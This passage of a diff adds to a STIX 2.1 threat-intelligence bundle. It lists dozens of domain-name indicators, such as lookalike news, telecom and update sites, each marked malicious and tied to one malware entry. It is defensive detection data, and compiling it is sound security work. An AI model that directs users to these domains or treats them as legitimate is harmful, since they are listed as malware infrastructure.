"malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6bd16ce3-6921-41ef-ba53-8c6b63a9cac6", + "created": "2026-02-17T19:39:51.823537Z", + "modified": "2026-02-17T19:39:51.823537Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jornalf8.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.823537Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9758318c-ec96-49eb-aaa8-4395986679b5", + "created": "2026-02-17T19:39:51.823828Z", + "modified": "2026-02-17T19:39:51.823828Z", + "relationship_type": "indicates", + "source_ref": "indicator--6bd16ce3-6921-41ef-ba53-8c6b63a9cac6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d27ea4c5-799f-4420-968c-f7c61b6ef669", + "created": "2026-02-17T19:39:51.823902Z", + "modified": "2026-02-17T19:39:51.823902Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sicnoticia.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.823902Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ced1329-3073-4b2e-9f01-6251bfa20c99", + "created": "2026-02-17T19:39:51.824198Z", + "modified": "2026-02-17T19:39:51.824198Z", + "relationship_type": "indicates", + "source_ref": "indicator--d27ea4c5-799f-4420-968c-f7c61b6ef669", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a74da0dc-a90d-4850-b497-76f7a0875a14", + "created": "2026-02-17T19:39:51.824272Z", + "modified": "2026-02-17T19:39:51.824272Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mult.icaixa.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.824272Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--106b483c-4143-49f9-9b3f-2add49e851c7", + "created": "2026-02-17T19:39:51.824572Z", + "modified": "2026-02-17T19:39:51.824572Z", + "relationship_type": "indicates", + "source_ref": "indicator--a74da0dc-a90d-4850-b497-76f7a0875a14", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--61995679-f5ff-4a72-8e44-f664dbb149cc", + "created": "2026-02-17T19:39:51.824646Z", + "modified": "2026-02-17T19:39:51.824646Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clubs-k.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.824646Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--685f11c4-5b47-473d-96bb-29c81942452a", + "created": "2026-02-17T19:39:51.825001Z", + "modified": "2026-02-17T19:39:51.825001Z", + "relationship_type": "indicates", + "source_ref": "indicator--61995679-f5ff-4a72-8e44-f664dbb149cc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--04c53c45-89a3-45de-94ab-9f57acdcacf9", + "created": "2026-02-17T19:39:51.825075Z", + "modified": "2026-02-17T19:39:51.825075Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='download4you.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.825075Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--30c016c1-0c93-49a7-b131-d6342fbd57fa", + "created": "2026-02-17T19:39:51.825376Z", + "modified": "2026-02-17T19:39:51.825376Z", + "relationship_type": "indicates", + "source_ref": "indicator--04c53c45-89a3-45de-94ab-9f57acdcacf9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d32506a6-2f59-464e-84ef-3e0f039e2e13", + "created": "2026-02-17T19:39:51.825452Z", + "modified": "2026-02-17T19:39:51.825452Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pdfviewer.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.825452Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab6d8141-e6c7-47ba-921d-96f3801ddc23", + "created": "2026-02-17T19:39:51.825746Z", + "modified": "2026-02-17T19:39:51.825746Z", + "relationship_type": "indicates", + "source_ref": "indicator--d32506a6-2f59-464e-84ef-3e0f039e2e13", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b2a80316-dc42-4abe-ae57-028c5a460ade", + "created": "2026-02-17T19:39:51.82582Z", + "modified": "2026-02-17T19:39:51.82582Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spacsaver.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.82582Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9fef98b9-4d5c-4614-bc13-b7774c36af38", + "created": "2026-02-17T19:39:51.826118Z", + "modified": "2026-02-17T19:39:51.826118Z", + "relationship_type": "indicates", + "source_ref": "indicator--b2a80316-dc42-4abe-ae57-028c5a460ade", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35c01c94-1838-4489-98de-dae90d798f06", + "created": "2026-02-17T19:39:51.826192Z", + "modified": "2026-02-17T19:39:51.826192Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wts-app.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.826192Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--94da731d-80a0-4261-8f6c-2ace11f35696", + "created": "2026-02-17T19:39:51.826483Z", + "modified": "2026-02-17T19:39:51.826483Z", + "relationship_type": "indicates", + "source_ref": "indicator--35c01c94-1838-4489-98de-dae90d798f06", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bd269e48-f1a1-4326-93a8-681e9c2e8cb2", + "created": "2026-02-17T19:39:51.826562Z", + "modified": "2026-02-17T19:39:51.826562Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='contents-domain.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.826562Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9075a0a7-74dc-4301-9c52-e9264bca6225", + "created": "2026-02-17T19:39:51.826859Z", + "modified": "2026-02-17T19:39:51.826859Z", + "relationship_type": "indicates", + "source_ref": "indicator--bd269e48-f1a1-4326-93a8-681e9c2e8cb2", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02d7dec7-c0af-49b8-9e82-ddd2b82fe1bd", + "created": "2026-02-17T19:39:51.826933Z", + "modified": "2026-02-17T19:39:51.826933Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chatwithme.store']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.826933Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8733e1a5-e276-40d6-a36e-7153784b5b48", + "created": "2026-02-17T19:39:51.827228Z", + "modified": "2026-02-17T19:39:51.827228Z", + "relationship_type": "indicates", + "source_ref": "indicator--02d7dec7-c0af-49b8-9e82-ddd2b82fe1bd", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12f0ee02-9aa5-4ae5-baae-150c74399ace", + "created": "2026-02-17T19:39:51.827302Z", + "modified": "2026-02-17T19:39:51.827302Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cibeg.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.827302Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f41b498e-6fc6-4ffc-a99d-55588fa69b8a", + "created": "2026-02-17T19:39:51.82761Z", + "modified": "2026-02-17T19:39:51.82761Z", + "relationship_type": "indicates", + "source_ref": "indicator--12f0ee02-9aa5-4ae5-baae-150c74399ace", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77993265-21bc-496c-8f78-f5c1eb306c37", + "created": "2026-02-17T19:39:51.827685Z", + "modified": "2026-02-17T19:39:51.827685Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='politika.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.827685Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d9e57d40-4132-46e9-b5b3-d31287740cb2", + "created": "2026-02-17T19:39:51.827978Z", + "modified": "2026-02-17T19:39:51.827978Z", + "relationship_type": "indicates", + "source_ref": "indicator--77993265-21bc-496c-8f78-f5c1eb306c37", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9cad3921-4f56-4f6e-b3de-48d9d452d2be", + "created": "2026-02-17T19:39:51.828052Z", + "modified": "2026-02-17T19:39:51.828052Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rcuples.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.828052Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8938fb81-7729-4c6d-9519-77c844bd728c", + "created": "2026-02-17T19:39:51.828449Z", + "modified": "2026-02-17T19:39:51.828449Z", + "relationship_type": "indicates", + "source_ref": "indicator--9cad3921-4f56-4f6e-b3de-48d9d452d2be", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--79b89580-08f0-454e-a07e-d4e28b768896", + "created": "2026-02-17T19:39:51.828525Z", + "modified": "2026-02-17T19:39:51.828525Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastdownload.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.828525Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--becfee50-fe86-4b9c-8dfb-d7d5b105c4d8", + "created": "2026-02-17T19:39:51.828821Z", + "modified": "2026-02-17T19:39:51.828821Z", + "relationship_type": "indicates", + "source_ref": "indicator--79b89580-08f0-454e-a07e-d4e28b768896", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a6d4146-de18-460a-b739-c4a43e1bfc00", + "created": "2026-02-17T19:39:51.828896Z", + "modified": "2026-02-17T19:39:51.828896Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='teslali.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.828896Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ecab1e27-d216-4fef-bceb-bcade954ac1a", + "created": "2026-02-17T19:39:51.829186Z", + "modified": "2026-02-17T19:39:51.829186Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a6d4146-de18-460a-b739-c4a43e1bfc00", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94c781d6-8902-4e10-a781-2c6246f09334", + "created": "2026-02-17T19:39:51.82926Z", + "modified": "2026-02-17T19:39:51.82926Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vslojasvendas.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.82926Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--623943b9-4716-4d01-8cc2-cf28348034a5", + "created": "2026-02-17T19:39:51.829555Z", + "modified": "2026-02-17T19:39:51.829555Z", + "relationship_type": "indicates", + "source_ref": "indicator--94c781d6-8902-4e10-a781-2c6246f09334", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab03c14a-78d0-455b-9db4-9edc7c7d70f2", + "created": "2026-02-17T19:39:51.829629Z", + "modified": "2026-02-17T19:39:51.829629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flexipagez.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.829629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49edf83d-0bc7-44c7-bbd5-cdb6b8a4c33e", + "created": "2026-02-17T19:39:51.829921Z", + "modified": "2026-02-17T19:39:51.829921Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab03c14a-78d0-455b-9db4-9edc7c7d70f2", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5a2aa0bd-ff83-4fda-a49d-6f15dbeb3cab", + "created": "2026-02-17T19:39:51.829997Z", + "modified": "2026-02-17T19:39:51.829997Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vlast-news.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.829997Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--864f4261-1181-415e-a0e3-d27a3b0780eb", + "created": "2026-02-17T19:39:51.830292Z", + "modified": "2026-02-17T19:39:51.830292Z", + "relationship_type": "indicates", + "source_ref": "indicator--5a2aa0bd-ff83-4fda-a49d-6f15dbeb3cab", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--411da8ab-2be5-4a8e-a622-5c9ab7695a4a", + "created": "2026-02-17T19:39:51.830366Z", + "modified": "2026-02-17T19:39:51.830366Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tinylinks.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.830366Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b804e052-5769-44a4-880e-2e4d343a4d37", + "created": "2026-02-17T19:39:51.830659Z", + "modified": "2026-02-17T19:39:51.830659Z", + "relationship_type": "indicates", + "source_ref": "indicator--411da8ab-2be5-4a8e-a622-5c9ab7695a4a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56a9038c-9006-40d3-bbe6-749bf17df7da", + "created": "2026-02-17T19:39:51.830736Z", + "modified": "2026-02-17T19:39:51.830736Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='2-gis.kz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.830736Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01fa0902-31fb-45c6-8bfc-3e67bf2e7f0f", + "created": "2026-02-17T19:39:51.831083Z", + "modified": "2026-02-17T19:39:51.831083Z", + "relationship_type": "indicates", + "source_ref": "indicator--56a9038c-9006-40d3-bbe6-749bf17df7da", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--de87886c-1187-4206-b42e-03ab84b9b03d", + "created": "2026-02-17T19:39:51.831161Z", + "modified": "2026-02-17T19:39:51.831161Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='addons.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.831161Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--44b7e883-8d62-4163-9a94-fd98ea75af3a", + "created": "2026-02-17T19:39:51.831452Z", + "modified": "2026-02-17T19:39:51.831452Z", + "relationship_type": "indicates", + "source_ref": "indicator--de87886c-1187-4206-b42e-03ab84b9b03d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e372b0e-48be-44f0-b606-db478c4bddfb", + "created": "2026-02-17T19:39:51.831526Z", + "modified": "2026-02-17T19:39:51.831526Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mozillaupdate.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.831526Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--46e7dc7e-61c2-4dfc-916c-2bd90179dba5", + "created": "2026-02-17T19:39:51.832055Z", + "modified": "2026-02-17T19:39:51.832055Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e372b0e-48be-44f0-b606-db478c4bddfb", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--428deb16-c53e-484c-bd19-66f3d55dd04f", + "created": "2026-02-17T19:39:51.832131Z", + "modified": "2026-02-17T19:39:51.832131Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='goldescent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.832131Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45c0bde4-cfa1-4243-afdf-74f0ee36f901", + "created": "2026-02-17T19:39:51.832426Z", + "modified": "2026-02-17T19:39:51.832426Z", + "relationship_type": "indicates", + "source_ref": "indicator--428deb16-c53e-484c-bd19-66f3d55dd04f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7954b63d-3678-418d-b5bd-6c3877f0069b", + "created": "2026-02-17T19:39:51.832502Z", + "modified": "2026-02-17T19:39:51.832502Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='z2a.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.832502Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--43ed68a4-9e6d-4d28-857a-888851ca6436", + "created": "2026-02-17T19:39:51.832795Z", + "modified": "2026-02-17T19:39:51.832795Z", + "relationship_type": "indicates", + "source_ref": "indicator--7954b63d-3678-418d-b5bd-6c3877f0069b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9750013b-5fb6-47a5-9acb-7a4ff603afd0", + "created": "2026-02-17T19:39:51.83287Z", + "modified": "2026-02-17T19:39:51.83287Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='telecomegy-ads.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.83287Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42338d8c-be1e-4e61-91ac-b2608b976aa9", + "created": "2026-02-17T19:39:51.833171Z", + "modified": "2026-02-17T19:39:51.833171Z", + "relationship_type": "indicates", + "source_ref": "indicator--9750013b-5fb6-47a5-9acb-7a4ff603afd0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39a14285-0a78-40c2-8bbf-d6564a014771", + "created": "2026-02-17T19:39:51.833247Z", + "modified": "2026-02-17T19:39:51.833247Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='etisalategypt.tech']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.833247Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6fbb2bc1-8b37-49c6-925f-7722a4680896", + "created": "2026-02-17T19:39:51.833541Z", + "modified": "2026-02-17T19:39:51.833541Z", + "relationship_type": "indicates", + "source_ref": "indicator--39a14285-0a78-40c2-8bbf-d6564a014771", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ba1a9579-e182-4101-8849-c9645b661903", + "created": "2026-02-17T19:39:51.833616Z", + "modified": "2026-02-17T19:39:51.833616Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tovima.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.833616Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e92bb74c-008d-4830-b402-8fecf49917a5", + "created": "2026-02-17T19:39:51.833905Z", + "modified": "2026-02-17T19:39:51.833905Z", + "relationship_type": "indicates", + "source_ref": "indicator--ba1a9579-e182-4101-8849-c9645b661903", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad99f4bc-9471-4388-b919-8ce927d53149", + "created": "2026-02-17T19:39:51.83398Z", + "modified": "2026-02-17T19:39:51.83398Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mmegi.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.83398Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e79e1266-83c4-49ba-8bff-5b85f3a8e6a7", + "created": "2026-02-17T19:39:51.834266Z", + "modified": "2026-02-17T19:39:51.834266Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad99f4bc-9471-4388-b919-8ce927d53149", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8aa1ae93-dd0a-4cf3-8b41-dab8d29770a8", + "created": "2026-02-17T19:39:51.83434Z", + "modified": "2026-02-17T19:39:51.83434Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='soccer-bw.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.83434Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8673e64b-0180-4add-b43b-69385c0ae862", + "created": "2026-02-17T19:39:51.834633Z", + "modified": "2026-02-17T19:39:51.834633Z", + "relationship_type": "indicates", + "source_ref": "indicator--8aa1ae93-dd0a-4cf3-8b41-dab8d29770a8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--85bc0e70-f512-4fa4-9a82-ef2d388b31d4", + "created": "2026-02-17T19:39:51.834709Z", + "modified": "2026-02-17T19:39:51.834709Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='notify-service.biz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.834709Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1126aec-cac1-437f-a415-6184fc904025", + "created": "2026-02-17T19:39:51.83501Z", + "modified": "2026-02-17T19:39:51.83501Z", + "relationship_type": "indicates", + "source_ref": "indicator--85bc0e70-f512-4fa4-9a82-ef2d388b31d4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--569042bf-c76e-422b-8aaf-45d0d15aa947", + "created": "2026-02-17T19:39:51.835086Z", + "modified": "2026-02-17T19:39:51.835086Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yo.utube.to']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.835086Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e09b98da-0235-4c9e-be17-dd395e8cdb57", + "created": "2026-02-17T19:39:51.835378Z", + "modified": "2026-02-17T19:39:51.835378Z", + "relationship_type": "indicates", + "source_ref": "indicator--569042bf-c76e-422b-8aaf-45d0d15aa947", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e301913-61a8-41a6-834d-179d689bc9cb", + "created": "2026-02-17T19:39:51.835451Z", + "modified": "2026-02-17T19:39:51.835451Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vodafoneegypt.tech']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.835451Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e07fe36a-6ee2-4616-95be-56063d2e079c", + "created": "2026-02-17T19:39:51.835812Z", + "modified": "2026-02-17T19:39:51.835812Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e301913-61a8-41a6-834d-179d689bc9cb", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7fbf823-921d-4ca6-9539-8391c1e60230", + "created": "2026-02-17T19:39:51.835887Z", + "modified": "2026-02-17T19:39:51.835887Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shanam.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.835887Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9cae3821-33bd-4c68-a6aa-c37eba057f5e", + "created": "2026-02-17T19:39:51.836179Z", + "modified": "2026-02-17T19:39:51.836179Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7fbf823-921d-4ca6-9539-8391c1e60230", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12f9b4b4-6d30-4aad-8c10-e123d8dd7603", + "created": "2026-02-17T19:39:51.836254Z", + "modified": "2026-02-17T19:39:51.836254Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stonisi.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.836254Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--38bfcca1-20c9-4575-b1cb-19366414b038", + "created": "2026-02-17T19:39:51.836543Z", + "modified": "2026-02-17T19:39:51.836543Z", + "relationship_type": "indicates", + "source_ref": "indicator--12f9b4b4-6d30-4aad-8c10-e123d8dd7603", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b212c4b3-d590-43ed-bb71-b675050e80fe", + "created": "2026-02-17T19:39:51.836617Z", + "modified": "2026-02-17T19:39:51.836617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='btlin.life']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.836617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22011538-883e-4fb9-8720-02803b6c7960", + "created": "2026-02-17T19:39:51.836908Z", + "modified": "2026-02-17T19:39:51.836908Z", + "relationship_type": "indicates", + "source_ref": "indicator--b212c4b3-d590-43ed-bb71-b675050e80fe", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--82353652-f857-49a3-b150-a7af7c9fd013", + "created": "2026-02-17T19:39:51.836983Z", + "modified": "2026-02-17T19:39:51.836983Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='moncn.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.836983Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27f39497-4592-41b0-b75f-54bb4b7ba4d3", + "created": "2026-02-17T19:39:51.837269Z", + "modified": "2026-02-17T19:39:51.837269Z", + "relationship_type": "indicates", + "source_ref": "indicator--82353652-f857-49a3-b150-a7af7c9fd013", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ef65f5b-8e2a-4474-8b96-f368f4d4927c", + "created": "2026-02-17T19:39:51.837343Z", + "modified": "2026-02-17T19:39:51.837343Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blocoinformativo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.837343Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7db30ebc-03fb-4275-8579-3d9eff16ebba", + "created": "2026-02-17T19:39:51.837641Z", + "modified": "2026-02-17T19:39:51.837641Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ef65f5b-8e2a-4474-8b96-f368f4d4927c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4716d236-3694-4bd0-8626-bb36208234f0", + "created": "2026-02-17T19:39:51.837715Z", + "modified": "2026-02-17T19:39:51.837715Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tsrt.xyz']", + "pattern_type": 